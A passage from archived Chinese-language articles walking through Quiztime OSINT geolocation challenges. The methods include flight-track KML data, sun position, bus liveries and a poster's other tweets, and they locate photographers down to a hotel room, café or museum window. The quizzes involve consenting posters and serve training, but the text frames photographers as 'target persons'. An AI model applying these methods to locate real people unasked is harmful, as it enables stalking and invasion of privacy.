体育场的设计是对称的，你可以注意到 Heimfanbereich（主场球迷区）位于 Gastfanberiech（客场球迷区）的另一端，这样就可以获得方向感了。

拍摄者 Lars 是一个主场球迷，所以他应该位于上面那个图的左侧的某个地方。

通过将所有照片细节与体育场座位计划图进行比较，看起来 Lars 坐在41K、41F或40D区域。

Lars 确认他坐在40D区。

这个挑战中也呈现了最常用的思考方式，就如我们曾经演示的大多数深度调查中所展现的那样：首先抓取几个主要观测点，然后开始与其他来源进行对照，继续提出合理的假设，验证这些假设，最终接近最合理的那一个。

在这里看到我们曾经介绍过的详细思路，关于《什么是调查，如何验证》。

Qiztime 挑战于2017年开始，当时德国记者 Julia Bayer 在她的

Twitter 帐户上发布了一张照片，显示科隆一个多雨的十字路口，并问道：“我在哪里？找到确切的位置”。这是她给学员记者在培训课上的练习。但就是因为她贴出来了，引起了一大群人的兴趣，人们纷纷加入了挑战游戏。

从那之后 Bayer 每周都会发布一个测试；并邀请粉丝们也这样做。粉丝中包括一些调查记者、公民记者、还有OSINT专家；他们希望能磨练自己的技巧，都是对真相感兴趣的人。

这些帖子的评论非常有趣，人们纷纷写下自己挖到的线索，线索经常不是唯一的，结论将通过多个线索综合得出，发布者也会和回复者互动，以纠正那些跑偏了的人。于是你会看到一个非常有趣的探讨场面。

找到答案的人会单独发帖，而不是在回复栏中，所以你任何时间加入都可以，不会被剧透；而且即使你没有时间参与游戏，也可以通过浏览留言发现有趣的思考方式。

测验的难度各不相同。有些已经在几分钟内解决，有些则需要数小时或数天，有些甚至从未解决过。（此处列出了未解决的案例。你想试试看吗？）

🌤技能比工具更重要。很多时候你有一大把工具却不知道该用哪一个，而技能 —— 通过练习的经验中积累以及参考同行的创意 —— 能帮你准确抓住最合适的工具。

这是社交媒体时代最有趣的脑运动。你可以花时间玩数独，但是无法帮你掌握技能；参加这样的游戏挑战，你将获得作为一名捍卫真相的公民的基本功。

最后回顾我们推荐过的一个大一点的挑战游戏《好玩的间谍挑战》；希望有更多中国公民加入到捍卫真相的工作中来。〇

原文

DC10 空荡荡的蓝天上掠过一架飞机……你能知道地理位置吗？- 史上最难的侦探挑战 - iyouport

侦探挑战游戏

【2020年7月1日存档】不仅找到具体地点，甚至能找到拍摄者所在的具体房间。这是一个强大的追踪演示，希望您可以学习到重要的技巧

---

nixintel 做出了一个惊人的调查演示，它来自推特热门游戏侦探挑战的题目。可以说是史上最难的挑战了。在这里看到原文《Using Flight Tracking For Geolocation – Quiztime 30th October 2019》

题目本身就是下面这张照片：

你看到，什么标志都没有。空荡荡的蓝天，一个没有任何特色的建筑物，一架飞机。

出题的人提供的唯一信息如下：# 天空中的飞机是从伦敦飞往香港的波音747

- 该照片摄于2019年10月30日。
- 拍摄者在旅馆里。

1. 当时的天气晴朗。

- 阴影表明太阳可能在拍摄者的后面。
- 飞机在天空中的位置。这点将至关重要。

如果您尝试通过反向图像搜索解决此问题（开源情报调查的常规思考方式），在这里完全不管用，您将什么都找不到。

图片中的建筑物完全没有特点，无法与任何反向图像搜索相匹配。尝试裁剪以寻找匹配也没有任何意义。

检查发布者的 Twitter 帐户，以查看他在10月30日可能去过的地方，也完全一无所获。如果您曾经尝试过他的任何测验，那么您就会知道他经常旅行。有时在德国、有时在阿尔巴尼亚、甚至在蒙古。也就是说试图猜测他可能在哪个城市也是毫无意义的。

总之，几乎理论上的开源情报调查入手捷径都不存在。这就是挑战的魅力所在。

规划一个方法：从大到小

「图」

那么从哪里开始呢？从建筑物开始可能会花费很长的时间，不如从飞机开始，至少对此有一点了解。总之图片上就这俩东西。

☞ 与往常一样，解决此类地理位置难题的最佳方法是从最大的地方开始，然后逐渐缩小，直到成为一个具体的点。

从理论上讲，这张照片几乎可以在世界任何地方拍摄，但是通过识别越来越多的信息，这意味着有可能使参数的设定越来越严格，直到识别出特定建筑物为止。

刚开始时看起来可能不是这样，但是只要能知道飞机的飞行日期和路线，就可以弄清拍摄者在看哪栋建筑物里。剧透：目标人在这张照片里的某个地方……

该建筑可能在世界上的任何地方（在开始阶段这是一个安全的假设……），但我们也知道它在从伦敦到香港之间的飞行路线上。

☞于是，立刻可以确定，这意味着它不在北美或南美、非洲或大洋洲。它必须位于欧洲、中亚或亚洲本身。

这看起来似乎还是太大，但是已经缩小了可能的位置范围，超出了您的想象。

☞我们也知道拍照时是白天。这意味着一旦确定了飞机，就可以确定路线，并且在知道路线后，就可以说出飞机在任何给定时间的位置，以及飞机越过头顶时，该位置是白天还是黑夜。如果此处天黑了，那就可以舍弃其可能性。

为了做到这一点，必须首先确定飞机。

识别飞机

「图」

拍摄者说，这架飞机是10月30日从伦敦飞往香港的，那是一架波音747–8F。

为了识别飞机，我们需要知道当天伦敦和香港之间往返的所有航班和飞机类型。

唯一的问题是伦敦有五个国际机场（希思罗机场、盖特威克机场、城市机场、斯坦斯特德机场、和卢顿机场），而香港只有一个。

☞这意味着查看从任何伦敦机场到达香港的航班将更容易，而不是尝试以五个可能的起点进行相反的推测。（这是小窍门）

历史航班数据可从几个不同的地方获得。 FlightRadar 是其中最知名的，但也有 Airportia 和 Flight Aware 等可用。

FlightAware 会针对此类历史数据收费，而 Airportia 仅列出定期的客运航班。幸运的是，Tobi Bluhm 已经确定该航班一定是 N617UP，这是UPS的货运航班，于10月30日世界标准时间6:12从伦敦斯坦斯特德机场（Stansted）出发，飞往香港。也就是说很幸运，这里可以省钱了（花钱在 FlightAware 上查到这点并不难）。

☞只要能识别飞机就意味着我们拥有最终识别拍摄者所住的酒店（和房间）以及准确拍摄照片的时间（误差在几分钟之内）所需的所有信息。

他将在这条线的附近：*Flight Aware GPS track*

只需要一点几何学、历史天气预报和日落计算，就可以使用该飞行路径来大幅缩小拍摄者的位置，直到最终找到目标人。

使用KML文件绘制路径

「图」

从理论上讲，所有这一切都足够容易，但是如何才能从 6000 英里的飞行路线中找到确切的酒店呢？

幸运的是，FlightRadar 和 FlightAware 都可以将飞行轨迹下载为

KML文件。KML文件只是包含有关一系列地理位置（例如GPS坐标和海拔高度等）数据的文件。

你可以在 Google Earth 中打开该文件，然后可以查看和分析 KML 映射数据。这意味着将能够在飞机旅程的每个阶段看到飞机的确切位置、高度和方向。

☞在 Google Earth 中查看这些数据将有助于直观地看到飞机所在的位置，然后通过将 Google Earth 中的视图与照片中的信息进行交叉引用，就可以确定拍摄者的位置。

要获得任何航班的 KML 文件，您需要一个 Flightradar 付费帐户，或者您可以注册 FlightAware 以获得为期三个月的免费试用，该服务将允许访问KML文件。

在 Google Earth 中打开KML文件时，整个飞行路线都会覆盖在地图上。这是从斯坦斯特德起飞的飞机：

☞请注意，KML 不仅显示位置，还显示高度。滑块（图片的左上角）可以移动到特定时间，这样您就可以看到飞机的位置。这是在香港的下降和降落：

那么，如何使用这些信息来帮您找到拍摄者的位置？需要先做一点几何。

几何

「图」

现在有了所有的飞行路线数据，可以将其与日落/日出信息和一些几何图形结合起来，以计算拍摄者的位置。

我们知道飞机在 UTC 06:12 从伦敦斯坦斯特德起飞。将这些信息放到 Suncalc 中，这表明当时斯坦斯特德的天空还很暗：

接下来，飞机驶向阿姆斯特丹。这是可能的目标位置城市吗？如果我们对阿姆斯特丹重复相同的 Suncalc 方法，则可以看到，当飞机在 UTC 06:37 越过该城市上空时，那里的天色还很暗，所以它不可能是拍摄者所在的地方。

☞ 请务必记住，无论本地时间如何，航班数据始终以UTC表示。这包括谷歌地图中的时间滑块，可用于显示飞机的位置。而另一方面，

Suncalc 总是显示相对于UTC的当地时间，所以阿姆斯特丹是 UTC ＋1。这非常重要，如果您不记得这个细节，很容易感到困惑！

因此，阿姆斯特丹不是答案，但是除了检查飞行路线附近的每个城市之外，还有没有简单一些的方法可以找到拍摄者可能所在的城市？

这是一些几何图形的来源。经过阿姆斯特丹之后，飞机在089度上改变了航向，几乎是直接向东。实际上，如果查看跟踪日志会找到，飞机在荷兰、德国、波兰、白俄罗斯和俄罗斯的整个过程中进行的一些微小的航向校正。

仅在俄罗斯，它才朝着哈萨克斯坦、中国大陆和香港做出重要航向修正：*Flight Aware*的航班跟踪日志的摘要

图中你可以看到，飞机大约在 UTC 10:00（当地时间15:00）越过哈萨克斯坦，但是到越过中国时当地已经很黑了。

这意味着在拍摄者不可能在中国。再排除一个。

☞此外，由于飞机的航向通常总是东移，因此拍摄者一定是大致面向西的，才能使飞机在视觉上看起来朝向他。太阳从他身后照射的事实加上阴影的角度表明，太阳大约在东南方，即在他的左肩上方：

这意味着，无论拍摄者在哪里，他拍照的时间都是一大早。不可能在晚上。

☞因此，可能的国家/地区包括荷兰东部、德国、波兰、白俄罗斯或俄罗斯西部，因为这是飞机在白天和阳光仍然位于东南部时飞过的一系列地点。

这仍然留下了许多可能的城镇，但还有一种方法可以进一步缩小范围。

由于图片中建筑物的大小，有信心推测拍摄者在城市中。共有五层楼高，至少还有另外一到两层（基于拍摄者的身高）。因此，该建筑物至少高六到七层，并靠近拍摄者所在的酒店。

这有力地暗示了城市位置，而不是农村甚至郊区。

☞因此，这意味着我们需要在一个可能的国家/地区中找到一个城市，该城市不仅靠近飞行路线，而且要相对于飞行路线正确地定向。

因此，接下来我们需要做一些几何以帮助正确确定方向：

☞从飞行数据中可以知道，这架飞机在整个欧洲的大部分旅程中都几乎要向东方行驶。通过在原始图像上覆盖罗盘点，可以推断出拍摄者的位置必须在飞行路线的北部。

如果拍摄者在飞机向东飞行的航迹的南侧，凝结尾迹将如下所示：

如果您在思维上很难做到这一点，也不要担心，因为稍后将展示如何通过 Google Earth 从视觉上确认这一点。

还有一个问题，为什么飞机似乎是垂直的姿势？这个问题也将在短期内解决，因为它也将有助于确定确切的位置，但是我们需要首先知道拍摄者在哪个城市。

最可能的地点

「图」

由于图片中的角度表示拍摄者位于飞行路线的北部，因此可以消除相对于飞机不正确的位置。

「图」

不能是汉诺威或不伦瑞克，因为它们在南部。

绝对不是波兹南或华沙。伏尔加格勒可能是候选，但是对于太阳光线位置来说，飞机飞过头顶时应该是那里的一天中较晚的时刻：

无论如何，这些地点得到天气都不符合拍摄者所在的晴朗蓝天：

但是，有一个城市是非常有可能的候选。它靠近飞行路线，并且城市的大部分也在正确的一侧：

历史性的天气记录也证实当时柏林上空没有云：

飞机经过柏林时，太阳也位于正确的位置（东南）：

因此，柏林似乎是拍摄者最有可能的所在地。

☞ 从“伦敦和香港之间的某个地方”的搜索参数开始，通过检查飞机经过某地时的日光状况，进一步筛选，去除不可能的国家。然后使用

照片相对于飞行路径的方向，进一步淘汰一些国家中不可能的城市。这就是 “从最大到最小” 的思考方式。

柏林确实是唯一符合日光、天气条件、太阳位置以及相对于飞机飞行路线的方向和位置的正确标准的城市。

进一步缩小

「图」

因此，如果拍摄者在柏林，我们如何利用对图片和飞行路线的了解来找到他呢？

当然，您可以只用 Google 搜索 “柏林的酒店”，然后寻找匹配的东西，或者花数小时在 Google Maps 上过滤整个城市。这种暴力地理定位的方法会很无聊，非常缓慢并且效率极低。

你需要找点窍门。

☞ KML 文件中有足够的数据，这些数据将使您能够使用 Google Earth 设置非常紧密的参数以进行最终的视觉搜索，因此，现在将拍摄者放置在柏林，便可以很快找到他。

在此之前，此图中仍然有一个未解决的问题需要解决。那就是，为什么飞机的姿态是似乎垂直向上飞行？

拍摄者的角度并没有过于仰视，他只是仰望地平线，而飞机似乎在垂直飞行。即使飞机水平飞行，也起来像是垂直行进的原因是由于地球的曲率。

只有当飞机在头顶上方时，它们的真实水平飞行位置才会变得更加明显，而当它们飞走时，看起来似乎正在朝着地平线下降。

您可以在此处阅读有关此效果的更多信息，但就本测验而言，这足以表明，当拍摄者拍照时，飞机正向他飞来，但仍相距一定的距离，可能不在柏林本身上空。

重建视图

「图」

因此，我们现在知道拍摄者在柏林的某个地方，飞机正朝着他所在位置的方向飞行，那么如何才能不花数小时的时间在地图上滚动，就找到确切的位置呢？

☞使用 KML 文件和 Google Earth 的3D功能，可以（以）飞机轨迹为参考点，（几乎）完美地再现拍摄者的照片。

为此，需要确定拍摄者拍摄照片时飞机相对于柏林的位置。

飞机移动非常快。通过使用时间滑块，可以看到在 UTC 07:11（柏林时间08:11），飞机远离柏林，大约在勃兰登堡附近：

仅仅五分钟后，这架飞机几乎就看不见了，并且已经完全越过柏林：

☞因此，为了尝试从地面重新创建视图，需要尝试捕捉飞机飞越地平线驶向拍摄者位置的那一刻。

但是，如果并不知道目标人在哪里，该如何开始在 Google Earth 中重新创建视图呢？这不是一步到位就能完成的，但稍作一些试验就能很快使事情变得更清楚。

☞记得拍摄者一定在飞行路线的北边，那么将自己的注意力集中在勃兰登堡门的地面上，并面朝西就如拍摄者在照片中的位置：

请注意，从 Google地球的地面上可以看到飞机的路径（距离为灰色的线）。KML文件还包含高度数据，因此飞机将相对于地面以正确的高度出现。

在这张照片中，时间设置为 UTC 07:11。这时飞机实际上是在勃兰登堡市附近（距离勃兰登堡门约60公里/ 37英里），但是您可以看到 Google Earth 如何复制由于地球曲率而在天空中呈现垂直状的效果。

两分钟后的 07:13 UTC 时效果就是这样：

然后是 07:15 UTC，☞ 请注意，此时飞机已完全越过头顶。这也意味着拍摄者必须在 07:15 UTC 之前拍照：

☞ 因此，要让拍摄者看到飞机如照片中那样垂直状态朝他飞行，他必须早于 UTC 07:08 拍摄图像，当然也不得晚于 07:15。

为了尝试最好地重新创建确切条件，将时间滑块设置为 UTC 07:13，给出了以下视图：

拍摄者的角度几乎是笔直地向前看，因此要重现相同的视图，我们应该能够从地面水平向前看时以相同的高度和角度看到飞机。（要在谷歌地球中找到这个视角，请按住Ctrl键并使用鼠标 “环顾四周”）

这当然是非常有帮助的，但是拍摄者并没有待在勃兰登堡门，只是离此不远。我们需要设置更严格的参数来找到他的确切位置。

这很简单，只需在 Google Earth 的平面上四处移动，直到飞行路径的角度与原始照片中的凝结尾迹的角度匹配即可。

我没有使用任何复杂的数学公式，只是这样设置桌面，并一直左右（南北）移动，直到角度大致匹配为止。

匹配过程可以非常快。因为无法以匹配的尾迹角度来精确地控制飞机的运动，所以我想设置一个拍摄者所在酒店必须位于的某个区域内的边界，然后手动检查该区域。为此必须将搜索边界设置为北、南、东和西。

东西边界的设置非常简单。拍摄者在高大的建筑物旁边，因此建筑物较小的郊区就可以排除了。柏林郊区构成了搜索区域的东西边界：

事实证明，这有点过于慷慨了，但总的来说，设置得过大总比过小要好。

为了设置北部边界，在面向西的同时向右移动直到与原始视点相比轨迹的角度已经变得太平。这意味着我必须在拍摄者位置的北侧延展：

然后向南移动，也就是向左移动，重复相同的过程。这次我知道当轨迹变得太陡峭时就该挺住了：

☞ 请注意，当停在飞行路线以北并向南移动时会发生什么。角度完全倒置：

这样就可以绝对确定，如果飞机正向东方飞行，那么拍摄者一定是在飞行路线的北部。

因此，现在在 Google地球上有了一个漂亮的蓝色搜索区域。就是下面这样。拍摄者必须在其中的某个地方，但是在环顾四周街道之前还有更多的工作要做。

这个红色区域中没有任何大型建筑物（就如图片中的建筑物那样）这里都是绿地或郊区房屋。拍摄者必须在蓝色区域，而不是红色区域。

我知道在界定原始边界时过于宽容了，但我不想无意间错过任何东西。即使过大，搜索区域也仍然只有2公里宽，因此检查时间不会很长。

接下来，就像拍摄者所做的那样，我只需要大致向西面对即将到达的飞机：

接下来，在这个高度上以东西方向移动穿越整个城市：

左边有一幢非常熟悉的建筑出现了 ...

完美匹配！！这意味着拍摄者所在的酒店是 H+ Hotel Mitte Berlin：

那么重新创建试图的精准度如何？可以说已经非常接近了。为了使飞机相对于拍摄者所处的位置，他必须在 07:13 ~ 07:14 UTC（当地时间 08：13 ~ 08：14）拍摄照片。

下面是原始照片和重建试图的对比：

我们甚至可以估算出拍摄者必须位于该酒店的哪个房间：就是画圈的那个窗户

这个挑战可以说是史上难度最高的了。nixintel 的演示非常精彩！如果您也想试试，可以点击此处查看KML文件。

☞您可以看到，这不需要编程技巧，也不需要特别复杂的工具，只需要一点方向感和基本地理知识 —— 尤其是，在常规调查思考方式均不管用的情况下，您需要能巧妙地变通。这就是这篇演示的意义所在。您学会了吗？〇

《Using Flight Tracking For Geolocation – Quiztime 30th October 2019》

原文

DC11 神探应该拥有很棒的直觉：侦探挑战小游戏演示追踪 - iyouport

侦探挑战游戏

【2020年7月10日存档】直觉的可靠性与知识面的大小密切相关，与您在日常中的观察和记忆能力也密切相关

您能说出您所居住的城市的建筑有什么特点吗？颜色、风格、高度、布局都是什么样的？其他城市呢？您去过一次的地方、或者看过照片和视频的城市？

很多人很难说清楚。因为平日没有注意观察过。我们在 “超强记忆力” 系列中介绍的诸多练习和测试中很多都是在强调观察能力，观察是记忆的基础，记忆是直觉的来源。

也许没有哪个开源情报培训计划会建议您仅凭直觉就得出结论。这不是坏事，因为调查人员得出的任何结论都必须得到客观证据的支持。

但是，任何有经验的研究人员将始终严重依赖于直觉，即使他们没有意识到这一点。原因很简单，专业人士的直觉是可以很强大的。

不到一秒钟内大脑就会根据以前的经验进行许多无意识的计算，以便快速做出决定。直觉不仅是无意识的反应，就像 Malcolm Gladwell 所说的那样，“不加思考地思考”。无视自己对某些事物的直觉是愚蠢的。

对于开源情报调查也是如此。

在本案例的侦探挑战演示中，nixintel 就采取了捕捉直觉的方法：首先判断该地点在东欧，完全是基于对照片外观的感觉。

你也会这样做的 —— 如果一张照片中出现了糖葫芦和红灯笼，基本不会有人认为那有可能是北非或南美，对吗？

这只是一个极为简单的类比。而在实际操纵中，直觉必须与广博的知

识面密切相关，因为您的调查目标经常不会与您同一个城市。

以下是 nixintel 的演示，在这里看到原文《Where In The World? Global and Local Identifiers – Quiztime 12th Sept 2019》

全球与本地 —— 从大到小

「图」

题目就是上面这张照片。这是一个很有挑战性的测试题目：其目标不仅在于要找到拍摄照片的具体位置，而且还要找出是从哪层建筑物拍摄到的照片。

并且没有什么特别明显的迹象可以显示出它是在哪里被拍摄的，更不用说哪个城市或建筑物了。

背景细节太模糊，无法用传统方法进行裁剪和反向图像搜索，前景中的椅子和桌子也并不是很独特。

那么从哪里开始呢？nixintel 的直觉显示这是在东欧，尽管无法解释原因。事后看来，这一直觉完全是因为那个混凝土高层建筑物。它与西欧的任何地方都不像，而且植被和房屋对于亚洲或非洲来说也都不适合。

还记得上一次的侦探挑战中介绍的思考方式技巧吗？《空荡荡的蓝天上掠过一架飞机……你能知道地理位置吗？- 史上最难的侦探挑战》没错：从大到小。本案例中就采取了类似的方法。

nixintel 使用 “全球” 和 “本地” 的概念来代替“大”和“小”。全球线索可能会形象地告诉您这一位置可能在哪；一旦使用全球线索来找到大概的区域，本地线索就可以帮您找到精确的位置。

如上图，绿框中的项目被归类为 “全球” 指标 —— 如果可以识别它们，然后将它们放在一起，大致就能显示出这是哪个城市或城镇。

红色框中的项目是 “本地” 指标：它们的独特性或突出性不足以帮助您在全球范围内找到位置，但是，如果可以使用全球指标找到正确的近似区域，那么就可以将本地指标用于正确的区域内。

以下是一个摘要：

全球指标 ——

1) 带有红色和白色相间的单层巴士。具体说它的下面是红色，其他地方都是白色。

2) 一组独特的高层建筑物，比周围的建筑物大得多。其中一个看起来像是黄色的。

3) 看起来像绿色的高速公路标志指向出口。似乎显示一位数的道路编号。

本地指标 ——

1) 再次考虑高速公路标志。显示此位置会在高速公路旁，可能在出口处。

2) 一个奇怪的白色篷状屋顶。

3) 桌子和椅子。这可能是最 “本地” 的标识了，仅对验证最终的精确位置有用。

因此，此位置必须符合以下条件：

- 这个城市必须拥有红白相间的那种巴士
- 这座城市的主要特征将是一座高大的黄色建筑
- 黄色的高楼将在目标位置范围内
- 该位置靠近可能只有一位数字的高速公路
- 在该位置旁边，将有一个奇怪的白色帐篷状屋顶
- 建筑物内将有一个咖啡馆或餐厅，其椅子和桌子看起来像照片中那样
- 还有直觉显示可能是在东欧，尽管目前还没有真正的客观理由确定这点

就是这样。下面逐一梳理这些线索。请注意，在梳理之前您并不知道其中哪个线索是最关键的，虽然一些经验显示公交车的外观是重要线索，但您需要有心理准备，因为经验会遭遇例外。

公共汽车

「图」

从公共汽车开始，因为经验显示这将是找到国家和城市的最佳机会。

根据直觉，首先需要将重点放在东欧，所以搜索方法是使用 Google

图片并搜索 **country AND red and white bus**。有点粗糙，但有效。

返回的结果首先是波兰。这里有一些红色和白色的巴士，但它们很旧了，看起来不像图中的那辆。

下一个返回是斯洛伐克。看起来很像，就是只有下面是红色，其他地方都是白色。无法确切判断，于是把斯洛伐克列入“可能”列表。

再下一个是捷克共和国。同样，图中的公交车并不多，但其中一张照片确实与众不同。点击它后打开了很多类似的照片，显示布拉格的电车和公共汽车也有红色和白色的涂层，很像图片中的那样。

有些沮丧。只搜索了三个国家/地区的公交车，就已经有两个有可能的匹配了，这说明杂音很大，或者说这个线索并不够标志。如果最终在另外十个国家中都找到十个匹配项那该怎么办？

☞那就打个赌，把目标从国家转移到城市。如果结果证明错了，那就再回到国家层面。

目标转向捷克共和国和斯洛伐克的十个最大城市。然后再次使用了类似的 Google 图片搜索，只是这次换成 **city AND bus**。

大多数城市的返回并不多，但 Bratislava, Brno, 和 Prague 看上去都像是在使用红色和白色相间的公共汽车。

如果要在这三个可能的城市之间进行区分会非常麻烦，尤其是还有很多其他欧洲城市甚至都没有看过。于是现在的要点就是排除法。

用高速公路标志消除了 Brno 的可能性。因为该标志似乎显示的是一位数的高速公路号。而在 Brno，仅2号高速公路的一小部分是个位数。通过谷歌地图 3D视图快速检查后，找不到与该位置类似的任何区域。

Bratislava 也有相同的高速公路（2），但也找不到与正确位置类似的东西。那就还剩下 Prague 了，但 Prague 被0、1、2、4、6和7号高速公路环绕，所有这些都符合预期。

在这一点上花了很长时间只是在 Google Maps 3D视图中环顾城市。这是一种非常低效的查找位置的方法，尤其是考虑到可能不在正确的国家/地区中。继续下去不是个事。

识别高层建筑

「图」

☞转移注意力集中在 Prague，因为3D试图显示它比 Bratislava 拥有更多的高层建筑。如果结果证明错了也没关系，始终可以返回去重新查找其他可能性。

查看下一个 “全球” 标识 —— 高大的黄色建筑物。另一个 Google 图片搜索 tall yellow building + Prague 带来了很多无用的结果，但是有一个匹配引人注目：

这座黄色的高楼是布拉格的 Opatov 酒店。看起来很像原始照片中的高楼。

如果是 Hotel Opatov，就可以切换到 Google Maps 3D视图，找到桥梁和高速公路，然后找到位置。这是展示那栋大厦的原始照片：

这是地图上的 Hotel Opatov：

3D视图是这样：

它附近有很多高层建筑！

靠近高速公路！

高速公路编号是一位数字！

因此切换到3D视图，以尝试尽可能重建原始图像：

这是在3D视图中所能获得的。角度略有偏离，但远处的右边是 Hotel Opatov，前景是高速公路，右侧是公交车站，这意味着位置是布拉格的 Centro Chodov。直觉是对的！

使用本地指标缩小范围

「图」

全球指标已经指向了这里。要找到准确的位置，必须找到本地指标以确认刚才的发现是对的。首先，高速公路上的桥梁旁有一个奇怪的蓬状结构：

其实这个蓬状屋顶是公交车站的顶棚。于是不得不使用街景视图来查找公交车的图片，以查看它们真正看上去究竟是不是这样：

看起来是对了。停在与原始照片相同的位置，并具有相同的配色。接下来使用街景图检查高速公路：

这个标志与原始照片完美匹配，显示的是2号高速公路的出口。

不过，这个难题尚未完全解决 —— 仍然必须找出照片拍摄自哪个楼层。将3D视图旋转了180度后发现：

这个地方显然仍在建设中，所以判断视图不是最新的。从 Google Earth 照片中获得了最新版本：

通过对原始图像和 Google Maps 3D 进行交叉检查，可以说照片必须是从这些窗口之一附近的位置拍摄的。但是究竟在哪一层？

照片显示视角比较高，于是不可能是底层，一楼有一家 Spicy Mama 餐厅，但即使是室内全景，也找不到与原始图像匹配的室内布局。

当您想在购物中心里找东西时只需查找平面图即可。找到精确位置的最佳方法是找到 Chodov Centre 的平面图，然后尝试查找所有可能位置的内部照片，直到找到合适的位置为止。

从已知的开始 —— 那个位置要么是 Spicymama，要么就在它附近。交互式平面图显示，一楼和二楼只有咖啡馆，因此可能性很小。Spicymama的内部不匹配。Kobe Fusion 也不在上层。

稍作调整，检查了附近的另一个出售食品和饮料的位置 —— Page Cafe。通过 **Facebook** 快速搜索 “Page Cafe Centrum Chodov” 的照片，使匹配重新进行：

简直完美！

桌子和椅子完全相配，可以辨认出在外面的公交车站顶篷，甚至旁边放书的架子都一样。

☞这是一个很漂亮的调查演示，其中展示的技巧都很重要，比如 在一条路不通时如何切换另一条路，并且如何巧妙地将不同线索结合起来考虑。

尤其是，它显示了你的直觉有可能比较管用。直觉来自日常知识面和观察能力，这就是为什么说调查人员应该具备相对广博的知识。nixintel 是个了不起的玩家，希望您能从中学到东西。〇

Where In The World? Global and Local Identifiers – Quiztime 12th Sept 2019

原文

DC12 一扇窗子能告诉你什么？：侦探挑战游戏 - iyouport

侦探挑战游戏

【2020年8月5日存档】遇到墙的时候不要撞，先找找墙周围有没有缝儿？

继续侦探挑战游戏！这次的挑战是 secjuice.com 的演示，在这里《OSINT Amateur Hour》。他使用一点偏门儿 …… 其实这个方法曾经使用过。

就是说，当挑战题目本身难度超大时（找不到可行的线索），不再朝着题目下手，而是对出题人下手—— 在现实的调查中，出题人就是您的目标人。

最初的挑战题目是这样的：精确定位下面这张照片的拍摄位置。*Source:*

乍一看似乎有点令人望而生畏。完全没有靠谱的标志。到底应该如何缩小这一范围？

但是，考察一下出题人：他在一周内发布的另一条相关推文，包含同一趟旅行的另一张照片，如下：*Source:*

好的，现在您知道，在相隔几天的时间里出题人大约在同一地点拍摄了上述两张照片。

但是，这两张照片的难度都很大：一个显示可能在任何城市的街角，另一个显示 ……一些树木？普普通通的窗口？一个不起眼的椅子？……

我们从看第一张照片开始。

那张贴着的报纸似乎是一个不错的起点。将 “*Die Son newspaper* ” 输入Google，弹出了南非一家报纸的结果。*Die Burger* 是另一个线索。

好吧，这是南非。

但南非太大了，这究竟是哪里？第一张照片中好像没有其他线索了。

现在把注意力转向第二张照片。由于该照片是发布在Twitter上的，因此清除了可能提供其他线索的元数据（死了这条心吧）。照片中只剩下一些树木、天空、椅子和远处的建筑物，天际线。*Enhance*

这里有很不错的线索哦！

仔细看天际线，一些建筑物看起来很独特。将注意力集中在那个似乎很突出的黑白色大厦上。

「图」

ENHANCE

将照片裁剪并放大，然后在 Yandex 上进行反向图像搜索，以查看在同一建筑物中还能找到哪些其他照片。

- 不要错过《反向图像搜索工具有很多，其中哪一个是最好的？》

再次不够幸运，这一搜索得到了很多结果，出现在各种不同的城市，几乎找不到真正想要的目标。

又是一面墙。不要紧，再回过头去仔细观察出题人的概述。发布该消息的人是安全研究员，对吗？他说他们当时正在旅行？也许是工作旅行，或者参加会议……？第一张照片里有一棵树，看起来像是一栋大学行政大楼 …… 大学举办会议……？

按照这个线索去搜索 —— 别忘了南非的可能性，把目标集中在这里。很快，谷歌返回的结果显示了比勒陀利亚的几所大学，也许这是个线索。来仔细观察下比勒陀利亚的天际线。*Source: https://www.123rf.com/photo_39033576_city-of-pretoria-skyline-south-africa.html//* 牛逼…… 这里有黑色和白色的高大建筑物，也许现在我们可以发现第二张照片是在哪里拍摄的了。 继续通过 *Google* 进行更多搜索，确认这是南非比勒陀利亚的*ABSA*大楼。 但是，您不只是想要知道这是哪座城市：而且想要确切地知道它是哪座建筑。如果可能的话，要知道照片是在哪个窗口拍摄到的。如何才能从这里进一步缩小范围？ 先使用常规步骤，重新查看地图，对南非大学周围的区域做一些 *Google* 街景视图的搜查，但是看起来不太正确。是不是应该更

远一点呢？但究竟是哪里？ 常规步骤不管用的时候不要急，再退回一小步，看看周围。 背景中有一些小山。也许可以绘制一下该地区的地形图。 这里和这里有一些山丘… 山丘、天际线，这两个线索应该靠谱（反正这张照片中也没太多其他细节了）。 这个窗口外有好几栋建筑物。我们再换一个试试。放大了另一栋与其他建筑相距较远的建筑物，继续反向图像搜索，这次很幸运：它是 *Agricultural Union Centre*。 也许，如果可以在地图上找出*ABSA*大楼和 *Agricultural Union Centre* 之间的关系，那么就可以将它们之间的连线与照片中出现的角度进行比较。 现在只能确定它是在城市南部。“比勒陀利亚以南”这个线索并没有多大进展，但无论如何是一件好事。 也许可以再次看下第一张照片，将街道交叉口的角度与地图进行比较，以查看大学校园中是否有任何匹配的地方…… 看起来在第二张照片中有一片广阔的绿色区域或树林，所以，也许可以找到某种公园？ 自由公园博物馆！（又叫哈珀展览馆） 为什么呢？现在确认的是在南部，所以向南看，城市南面什么样的地方可能有这样的时髦窗户？…… 文化博物馆。 找到了另一个带有博物馆地图以及与比勒陀利亚市区相关的地图标签。完美搭配！Source: https://www.flickr.com/photos/tylermyeo/17003835829//

现在回过头来看，整个过程一直没有弄清楚第一张照片的确切拍摄地点，但是，仍然可以将整个经历总结为胜利。

☞那么，可以从这次挑战中学到什么？—— 这些经验可以举一反N：

1、即使没有元数据，也可以从照片本身中获得惊人的追踪线索。

2、问自己，您实际可以看到的哪些内容可能成为不错的追踪起点。列出清单会有所帮助。

3、有时使用某种文化知识（例如窗口形状）可以提供突破，而不是针对数据的任何特定知识。

4、支持合作，和朋友一起努力，你们各自具有不同的视角，这能避免单一视角进入死胡同。质疑自己的能力对情报分析来说非常重要，也就是在撞墙的时候及时回头另辟蹊径，但并非所有人都擅长这点。死胡同是最常见的。但合作可以避免这种情况。〇

原文

DC13 摆脱信息消防栓，绕墙而行的技巧：侦探挑战游戏 - iyouport

侦探挑战游戏

【2020年9月4日存档】本演示再次展示了调查中一个最常用的也是最有效的技巧，让您的思路首先结构化，这是一种避免撞墙的小窍门

在开源情报调查中，也许您总是会渴望大量信息，但是，通常情况下，太多的信息反而会使您无法有效处理。

你很容易迷失在信息的汪洋大海里，打开二十个浏览器选项卡后，您可能已经完全忘记了最初打算要做的事。

迷失也许是不可避免的，因为通常只有事后才能知道自己是否处在正确的轨道上，并且必须先弄错，然后才有希望把它们弄对。

尽管如此，开源情报研究的结构化和系统化仍然很重要。

